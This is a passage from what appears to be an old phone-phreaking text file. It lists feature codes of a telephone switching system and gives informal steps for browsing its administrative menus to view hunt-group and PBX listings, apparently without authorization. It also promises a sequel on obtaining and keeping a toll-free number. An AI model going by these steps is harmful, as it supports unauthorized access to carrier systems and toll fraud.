   *ORGB          - ORIGINATING BARRED
   *PIC           - PRESUBSCRIBED INTERLATA CARRIER
    PILOT         - PILOT NUMBER
    PREFERENTIAL  - PREFERENTIAL HUNT GROUP
    PRI-MLHG      - PRIMARY MULTILINE HUNT GROUP
   *QUEUE         - QUEUE CALL WHEN ALL MEMBERS ARE BUSY
   *RA01          - RCAN 1
   *RA02          - RCAN 2
   *RA03          - RCAN 3
   *RA04          - RCAN 4
   *RA05          - RCAN 5
   *RA06          - RCAN 6
   *RA07          - RCAN 7
   *RA08          - RCAN 8
   *RA09          - RCAN 9
   *RA10          - RCAN 10
   *RA11          - RCAN 11
   *RA12          - RCAN 12
   *RA13          - RCAN 13
   *RCAN          - RECORDED ANNOUNCEMENT
   *RING-CODE     - RING CODE
   *SC30          - 30-LIST SPEED CALL
   *SC8           - 8-LIST SPEED CALL
    SCREEN        - SCREEN CLASS
   *SCS30         - 30-LIST SPEED CALL SHARED
   *SCS8          - 8-LIST SPEED CALL SHARED
    SERIES        - SERIES COMPLETION HUNT GROUP
   *SLEV          - SLEEVE LEAD
   *SPRV          - SINGLE PARTY REVERTIVE
   *STDL          - STATION DETAIL BILLING
   *TA            - ALLOW TEST ACCESS
   *TOLB          - TOLL BARRED
   *TONE          - TONE DIAL SERVICE
   *TRAFFIC       - TRAFFIC SAMPLING
   *TRAN          - CALL TRANSFER
   *TRMB          - TERMINATION BARRED
    TYPE-HUNT     - HUNTING TYPE
    UNIFORM       - UNIFORM
   *WB00          - WATS BAND 0
   *WB01          - WATS BAND 1
   *WB02          - WATS BAND 2
   *WB03          - WATS BAND 3
   *WB04          - WATS BAND 4
   *WB05          - WATS BAND 5
   *WB06          - WATS BAND 6
   *WB07          - WATS BAND 7
   *WB08          - WATS BAND 8
   *WB09          - WATS BAND 9
   *WB10          - WATS BAND 10
   *WB11          - WATS BAND 11
   *WB12          - WATS BAND 12
   *WB13          - WATS BAND 13
   *WB14          - WATS BAND 14
   *WCBD          - WATS FULL BUSINESS DAY
   *WCFR          - WATS FLAT RATE
   *WCMT          - WATS MEASURED TIME
   *WHTH          - WHISTLE THRU

ok now from here you can see whats going on, but press ^ to go back one,
then hit SHDISPLAY theres no ALL option but there is a display option.
pick it. you will get a line like this :

ADM> HUNT GROUP (HG=32) > 12

   HG   SITE LCC-NAME     HGTYPE PILOT   BILLING MEM MXHG  BG  PIC
   12    0   PBX_GR       MULTI  9580215 9580215  24   24
                  /\
                   \_____________________________________
I`m no phreaker or anything But isn't this a listing for |PBX?.
Line class codes? for PBX?
----------------------

Now in FN you can vewi feature names and comparison to Telco names.
jsut type FN then LIST - The complete list was way to big to enter here,
so we will display that on another txt file.



Look for part 2! on how to set up your own 888 # and keep it.
also other intresting tricks!

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